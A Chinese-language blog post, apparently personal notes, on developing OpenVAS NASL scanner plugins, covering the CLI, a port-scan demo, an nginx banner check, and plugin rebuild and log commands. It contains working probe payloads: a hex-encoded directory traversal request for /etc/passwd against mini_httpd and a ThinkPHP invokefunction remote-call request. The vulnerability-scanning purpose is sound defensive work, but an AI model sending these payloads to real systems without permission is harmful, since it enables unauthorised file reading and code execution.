openvas插件开发

openvas插件开发

[root@archery-sec9001 supper-user]# openvas-nasl -h
Usage:
  openvas-nasl [OPTION...] NASL_FILE... - standalone NASL interpreter for OpenVAS

Help Options:
  -h, --help                          Show help options

Application Options:
  -V, --version                       Display version information
  -d, --debug                         Output debug information to stderr.
  -D, --description                   Only run the 'description' part of the script
  -B, --both                          Run in description mode before running the script.
  -p, --parse                         Only parse the script, don't execute it
  -L, --lint                          'lint' the script (extended checks)
  -t, --target=<target>               Execute the scripts against <target>
  -T, --trace=<file>                  Log actions to <file> (or '-' for stderr)
  -c, --config-file=<filename>        Configuration file
  -e, --source-iface=<iface_name>     Source network interface for established connections.
  --vendor-version=<string>           Use <string> as vendor version.
  -s, --safe                          Specifies that the script should be run with 'safe checks' enabled
  -X, --disable-signing               Run the script with disabled signature verification
  -i, --include-dir=<dir>             Search for includes in <dir>
  --debug-tls=<level>                 Enable TLS debugging at <level>
  -k, --kb=<key=value>                Set KB key to value. Can be used multiple times

demo.nasl:输出开放的端口

#
# Check for ssh
#
if(description)
{
        script_name(english:"Ensure the presence of ssh");
        script_description(english:"This script makes sure that ssh is running");
        script_summary(english:"connects on remote tcp port 22");
        script_category(ACT_GATHER_INFO);
        script_family(english:"Administration toolbox");
        script_copyright(english:"This script was written by Joe U.");
        script_dependencies("find_service.nes");
        exit(0);
}
#start = prompt("First port to scan ? ");
#end  = prompt("Last port to scan ? ");

for(i=1;i<9999;i=i+1)
{
        soc = open_sock_tcp(i);
        if(soc)
        {
                display("Port ", i, " is open\n");
                close(soc);
        }
}

Tcp请求

#漏洞检测
## Variable Initialization
port = 8080;
#mini_httpd默认端口

## Check Port status
if(!get_port_state(port)){
        #这里经过测试一些未开放的端口返回值都是1,如果开放的话返回值就是10000,所以这里其实就可以根据这个返回值做端口检测
    display("ADog:get_port_state failed.",port,"\n");
    exit(0);
}

## Open the socket
sock = open_sock_tcp(port);
if(!sock){
        #这里其实跟上面是一样的,sock端口其实都能开放的,所以这段可写可不写
    display("ADog:open_sock_tcp failed.",port,"\n");
    exit(0);
}

## Constructed directory traversal crafted request
req = raw_string(0x47, 0x45, 0x54, 0x20, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x20, 0x48, 0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x31, 0x0d, 0x0a, 0x48, 0x6f, 0x73, 0x74, 0x3a, 0x20, 0x0d, 0x0a, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x4d, 0x61, 0x63, 0x69, 0x6e, 0x74, 0x6f, 0x73, 0x68, 0x3b, 0x20, 0x49, 0x6e, 0x74, 0x65, 0x6c, 0x20, 0x4d, 0x61, 0x63, 0x20, 0x4f, 0x53, 0x20, 0x58, 0x20, 0x31, 0x30, 0x2e, 0x31, 0x33, 0x3b, 0x20, 0x72, 0x76, 0x3a, 0x36, 0x33, 0x2e, 0x30, 0x29, 0x20, 0x47, 0x65, 0x63, 0x6b, 0x6f, 0x2f, 0x32, 0x30, 0x31, 0x30, 0x30, 0x31, 0x30, 0x31, 0x20, 0x46, 0x69, 0x72, 0x65, 0x66, 0x6f, 0x78, 0x2f, 0x36, 0x33, 0x2e, 0x30, 0x0d, 0x0a, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x3a, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2f, 0x68, 0x74, 0x6d, 0x6c, 0x2c, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x78, 0x68, 0x74, 0x6d, 0x6c, 0x2b, 0x78, 0x6d, 0x6c, 0x2c, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x78, 0x6d, 0x6c, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x39, 0x2c, 0x2a, 0x2f, 0x2a, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x38, 0x0d, 0x0a, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x2d, 0x4c, 0x61, 0x6e, 0x67, 0x75, 0x61, 0x67, 0x65, 0x3a, 0x20, 0x7a, 0x68, 0x2d, 0x43, 0x4e, 0x2c, 0x7a, 0x68, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x38, 0x2c, 0x7a, 0x68, 0x2d, 0x54, 0x57, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x37, 0x2c, 0x7a, 0x68, 0x2d, 0x48, 0x4b, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x35, 0x2c, 0x65, 0x6e, 0x2d, 0x55, 0x53, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x33, 0x2c, 0x65, 0x6e, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x32, 0x0d, 0x0a, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3a, 0x20, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x0d, 0x0a, 0x55, 0x70, 0x67, 0x72, 0x61, 0x64, 0x65, 0x2d, 0x49, 0x6e, 0x73, 0x65, 0x63, 0x75, 0x72, 0x65, 0x2d, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x3a, 0x20, 0x31, 0x0d, 0x0a, 0x0d, 0x0a);
#这里最重要的就是这段poc,由于这是web服务器,因此这的payload,读者可以对这段进行16进制解码,你就会发现其实就是一个web的流量包
#这里我先使用burp做了漏洞复现,然后将请求包复制下来,将其做了一次16进制转化
#这里openvas其实自带http的函数,但是这里我仍然使用了socket,原因就是如果后续不是web的服务,那么web相关的函数就用不了,总的来说socket肯定是最通用的方法

## send the attack request and recieve the response
display("ADog:port is working.",port,"\n");

send(socket:sock, data:req);
ret = recv(socket:sock, length:1024);
#获取返回包内容
close(sock);

#display("ADog:recv:",ret);

state = egrep(pattern:'^root.*',string:ret);
#openvas自带的匹配函数,这里用于匹配出现root字样,由于这个漏洞是任意文件读取,那么这里我读取的是/etc/passwd,那么就会第一条就会出现root用户的基本信息
#那么如果出现了,那么就认定此漏洞存在
#这里的定制化就体现在我们可以针对公司内部漏洞编写nasl脚本,其实仔细看过脚本的人就知道,目前市面上主流的扫描器其实都只是版本匹配,当然这也是为了无损扫描,也有部分payload是真的带poc

if(state)
{
  report = 'mini_httpd is vulnerable!\n';
  security_message(data:report);
  #这里使用openvas自带的报告函数将漏洞输出到扫描报告里
  #security_message(port:port);
  #这两个函数用一个就行了,一开始为了测试使用了这两个,最后报告里也就出现了两次
  display('mini_httpd is vulnerable.\n');
}

http://foreversong.cn/archives/1333

http请求

# 获取 www 端口,默认为 80
port = get_http_port(default: 80);
str = string("GET /index.php?s=index/think/app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Tr0y HTTP/1.0\r\n\r\n");
# 发送 payload 并返回服务器的响应
recv = http_send_recv(port: port, data: str);
# DEBUG 使用,打印返回的 header+body
display(recv, "\n");

编译

-X 忽略签名认证

-t target 目标主机IP/域名

-i 插件加载目录

openvas-nasl -i /var/lib/openvas/plugins -Xt 10.27.22.76 demo2.nasl

1617788073176

7. 测试NASL脚本

将自己写的插件复制到openvas插件库目录:
/var/lib/openvas/plugins
加载插件:
openvassd

8. 重建插件库

openvasmd –rebuild
注意:参数“rebuild”代表从一个正在运行的扫描器(openvassd)中重建数据库信息。

http请求:

port = get_http_port(default:80);  
host = http_host_name(port:port);  
recv = http_get(port:port, item:"/");  
display(recv,"\n");  

参考:

nasl插件详解

nessus的nasl脚本手册

nasl官方手册

nasl插件开发手册-翻译版 比较全

Nessus安全测试插件编写教程 入门教程

识别nginx的插件

插件脚本:

###############################################################################
# OpenVAS Vulnerability Test
#
# Nginx version page
#
# Authors:
# molly.zhang <molly.zhang@alussinan.org>
#
# Copyright:
# Copyright (C) 2021 molly zhang
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
if(description)
{
  script_oid("1.3.6.1.4.1.56487.1.0.75984");
  script_version("2021-04-24T15:18:35+0000");
  script_tag(name:"last_modification", value:"2021-05-08 15:18:35 +0000 (Sat, 08 May 2021)");
  script_tag(name:"creation_date", value:"2021-05-08 14:08:04 +0100 (Sat, 08 May 2021)");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:N");
  script_tag(name:"cvss_base", value:"5.3");
  script_name("Nginx version");
  script_category(ACT_GATHER_INFO);
  script_copyright("Copyright (C):mengli.zhang in 20210507");
  script_family("MyNVTS");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_add_preference(name:"Show full HTTP headers in output", type:"checkbox", value:"no", id:1);
  script_tag(name:"summary", value:"This script detects and reports the Nginx's Version.");
  script_tag(name:"qod_type", value:"remote_banner");
  exit(0);
}
display("Hello World .\n");
display("Hello World openvas-nasl. \n");

include('/var/lib/openvas/plugins/http_func.inc');
include('/var/lib/openvas/plugins/global_settings.inc');
#display(default:80,"\n");
#port = get_http_port(default:80);
#host = http_host_name(port:port);
display("start#########\n");
#display(host,"\n");

#recv = http_send_recv(port: port, data: str);
#str = string("GET /index.php HTTP/1.0\r\n\r\n");
str = string("GET / HTTP/1.0\r\n\r\n");
recv = http_send_recv(port: "80",data:str);

display(recv, "\n");
state = egrep(pattern:'nginx.*',string:recv);
display("state:",state);
if(state)
{
  display('nginx version xielou\n');
}
exit( 0 );

openvasmd –rebuild –progress

测试:

openvas-nasl -Xt 10.27.22.76 nginx_version.nasl
docker exec -it 337e5d6c9854 bash
cd /usr/local/var/lib/openvas/plugins
vim nginx_version.nasl
cat nginx_version.nasl
openvas-nasl -Xt 10.27.22.76 nginx_version.nasl

[root@archery-sec9002 supper-user]# docker restart 337e5d6c9854

重启openvas

#加载插件
openvassd

#### 8. 重建插件库

openvasmd –rebuild#失败  这一步成功会在/usr/local/var/cache/openvas 中生成.nvti 文件

因为openvasmd,gvmd自GVM-10起,它已重命名为:gvmd,并且openvas-check-setup已弃用且无用。


gvmd --rebuild-scap=ovaldefs
docker restart 337e5d6c9854

sudo service openvas-manager restart;

sudo service openvas-scanner restart;

sudo openvasmd –rebuild –progress

family=”Web application abuses”

family=”MyNVTs”

family=”Policy”

greenbone-nvt-sync –rsync #greenbone-nvt-sync –curl
greenbone-scapdata-sync –rsync

greenbone-certdata-sync –rsync

查看日志:

cat /usr/local/var/log/gvm/openvassd.log

cat /usr/local/var/log/gvm/gvmd.log

docker查看日志

[root@archery-sec9002 supper-user]# docker logs openvas0127

可以通过运行以下命令来查看/ var / log / gvm / *中的所有日志:

docker logs openvas

1620456185130

md   main:MESSAGE:2021-05-08 03h28.04 utc:32273:    Greenbone Vulnerability Manager version 8.0.2 (DB revision 205)
md   main:WARNING:2021-05-08 03h28.04 utc:32273: main: Main process is already running
md   main:MESSAGE:2021-05-08 03h29.24 utc:32318:    Greenbone Vulnerability Manager version 8.0.2 (DB revision 205)
md manage:   INFO:2021-05-08 03h29.24 utc:32318:    Rebuilding SCAP data (ovaldefs).
md manage:WARNING:2021-05-08 03h29.26 utc:32318: sql_prepare_internal: sqlite3_prepare failed: no such column: id
md manage:WARNING:2021-05-08 03h29.26 utc:32318: sqlv: sql_prepare_internal failed
md   main:MESSAGE:2021-05-08 03h32.42 utc:15:    Greenbone Vulnerability Manager version 8.0.2 (DB revision 205)
md   main:   INFO:2021-05-08 03h32.42 utc:15:    Migrating database.
md   main:WARNING:2021-05-08 03h32.42 utc:15: main: databases are already at the supported version
md   main:MESSAGE:2021-05-08 03h32.42 utc:17:    Greenbone Vulnerability Manager version 8.0.2 (DB revision 205)
md manage:   INFO:2021-05-08 03h32.42 utc:17:    Getting users.
md   main:MESSAGE:2021-05-08 03h33.48 utc:26:    Greenbone Vulnerability Manager version 8.0.2 (DB revision 205)
util gpgme:MESSAGE:2021-05-08 03h33.48 utc:27: Setting GnuPG dir to '/usr/local/var/lib/gv

greenbone-nvt-sync –help

greenbone-nvt-sync –refresh

gvmd -h

openvassd -h

文章目录
  1. Tcp请求
  2. http请求
  3. 编译
  4. 7. 测试NASL脚本
  5. 8. 重建插件库
  6. 识别nginx的插件